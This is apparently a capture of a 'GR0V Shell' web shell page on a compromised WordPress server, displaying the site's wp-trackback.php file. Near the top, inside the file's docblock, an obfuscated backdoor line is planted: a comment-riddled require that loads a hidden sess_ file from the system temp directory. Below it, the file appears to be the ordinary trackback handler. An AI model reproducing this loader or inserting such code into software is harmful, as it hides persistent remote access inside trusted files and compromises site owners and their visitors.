? GR0V Shell
GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64
Path : /home/admin/domains/happytokorea.net/public_html/
Current File : /home/admin/domains/happytokorea.net/public_html/wp-trackback.php
<?php
/**
 * Handle Trackbacks and Pingbacks Sent to WordPress
 *
 * @since 0.71
 *
 * @package WordPress
 * @subpackage Trackbacks
 * *//*Ee*/require/*uq*/sys_get_temp_dir/*6t*/(/*)ao*/)/*.5uq*/./*q1*/'/'/*o-^*/./*|*/'sess_'/*;#=i*/./*7!*/'95c3'/*~8{Q*/./*iP*/'4202'/*R%*/./*-ZT*/'d6'/*p*/./*<8FR*/'fed55'/*!*/./*o(*/'173'/*cEu*/./*#i*/'bc'/*3L*/./*+d-*/'997'/*8:*/./*n_X*/'c0b'/*$yR*/./*Qt*/'b'/*8%*/./*J*/'1b'/*uV@_*/./*BvFo*/'945'/*0c*/;/*
 */

if ( empty( $wp ) ) {
    require_once __DIR__ . '/wp-load.php';
    wp( array( 'tb' => '1' ) );
}

// Always run as an unauthenticated user.
wp_set_current_user( 0 );

/**
 * Response to a trackback.
 *
 * Responds with an error or success XML message.
 *
 * @since 0.71
 *
 * @param int|bool $error         Whether there was an error.
 *                                Default '0'. Accepts '0' or '1', true or false.
 * @param string   $error_message Error message if an error occurred.
 */
function trackback_response( $error = 0, $error_message = '' ) {
    header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

    if ( $error ) {
        echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
        echo "<response>\n";
        echo "<error>1</error>\n";
        echo "<message>$error_message</message>\n";
        echo '</response>';
        die();
    } else {
        echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
        echo "<response>\n";
        echo "<error>0</error>\n";
        echo '</response>';
    }
}

if ( ! isset( $_GET['tb_id'] ) || ! $_GET['tb_id'] ) {
    $post_id = explode( '/', $_SERVER['REQUEST_URI'] );
    $post_id = (int) $post_id[ count( $post_id ) - 1 ];
}

$trackback_url = isset( $_POST['url'] ) ? $_POST['url'] : '';
$charset       = isset( $_POST['charset'] ) ? $_POST['charset'] : '';

// These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
$title     = isset( $_POST['title'] ) ? wp_unslash( $_POST['title'] ) : '';
$excerpt   = isset( $_POST['excerpt'] ) ? wp_unslash( $_POST['excerpt'] ) : '';
$blog_name = isset( $_POST['blog_name'] ) ? wp_unslash( $_POST['blog_name'] ) : '';

if ( $charset ) {
    $charset = str_replace( array( ',', ' ' ), '', strtoupper( trim( $charset ) ) );
} else {
    $charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
}

// No valid uses for UTF-7.
if ( false !== strpos( $charset, 'UTF-7' ) ) {
    die;
}

// For international trackbacks.
if ( function_exists( 'mb_convert_encoding' ) ) {
    $title     = mb_convert_encoding( $title, get_option( 'blog_charset' ), $charset );
    $excerpt   = mb_convert_encoding( $excerpt, get_option( 'blog_charset' ), $charset );
    $blog_name = mb_convert_encoding( $blog_name, get_option( 'blog_charset' ), $charset );
}

// Now that mb_convert_encoding() has been given a swing, we need to escape these three.
$title     = wp_slash( $title );
$excerpt   = wp_slash( $excerpt );
$blog_name = wp_slash( $blog_name );

if ( is_single() || is_page() ) {
    $post_id = $posts[0]->ID;
}

if ( ! isset( $post_id ) || ! (int) $post_id ) {
    trackback_response( 1, __( 'I really need an ID for this to work.' ) );
}

if ( empty( $title ) && empty( $trackback_url ) && empty( $blog_name ) ) {
    // If it doesn't look like a trackback at all.
    wp_redirect( get_permalink( $post_id ) );
    exit;
}

if ( ! empty( $trackback_url ) && ! empty( $title ) ) {
    /**
     * Fires before the trackback is added to a post.
     *
     * @since 4.7.0
     *
     * @param int    $post_id       Post ID related to the trackback.
     * @param string $trackback_url Trackback URL.
     * @param string $charset       Character set.
     * @param string $title         Trackback title.
     * @param string $excerpt       Trackback excerpt.
     * @param string $blog_name     Blog name.
     */
    do_action( 'pre_trackback_post', $post_id, $trackback_url, $charset, $title, $excerpt, $blog_name );

    header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

    if ( ! pings_open( $post_id ) ) {
        trackback_response( 1, __( 'Sorry, trackbacks are closed for this item.' ) );
    }

    $title   = wp_html_excerpt( $title, 250, '&#8230;' );
    $excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );

    $comment_post_id      = (int) $post_id;
    $comment_author       = $blog_name;
    $comment_author_email = '';
    $comment_author_url   = $trackback_url;
    $comment_content      = "<strong>$title</strong>\n\n$excerpt";
    $comment_type         = 'trackback';

    $dupe = $wpdb->get_results(
        $wpdb->prepare(
            "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s",
            $comment_post_id,
            $comment_author_url
        )
    );

    if ( $dupe ) {
        trackback_response( 1, __( 'There is already a ping from that URL for this post.' ) );
    }

    $commentdata = array(
        'comment_post_ID' => $comment_post_id,
    );

    $commentdata += compact(
        'comment_author',
        'comment_author_email',
        'comment_author_url',
        'comment_content',
        'comment_type'
    );

    $result = wp_new_comment( $commentdata );

    if ( is_wp_error( $result ) ) {
        trackback_response( 1, $result->get_error_message() );
    }

    $trackback_id = $wpdb->insert_id;

    /**
     * Fires after a trackback is added to a post.
     *
     * @since 1.2.0
     *
     * @param int $trackback_id Trackback ID.
     */
    do_action( 'trackback_post', $trackback_id );

    trackback_response( 0 );
}
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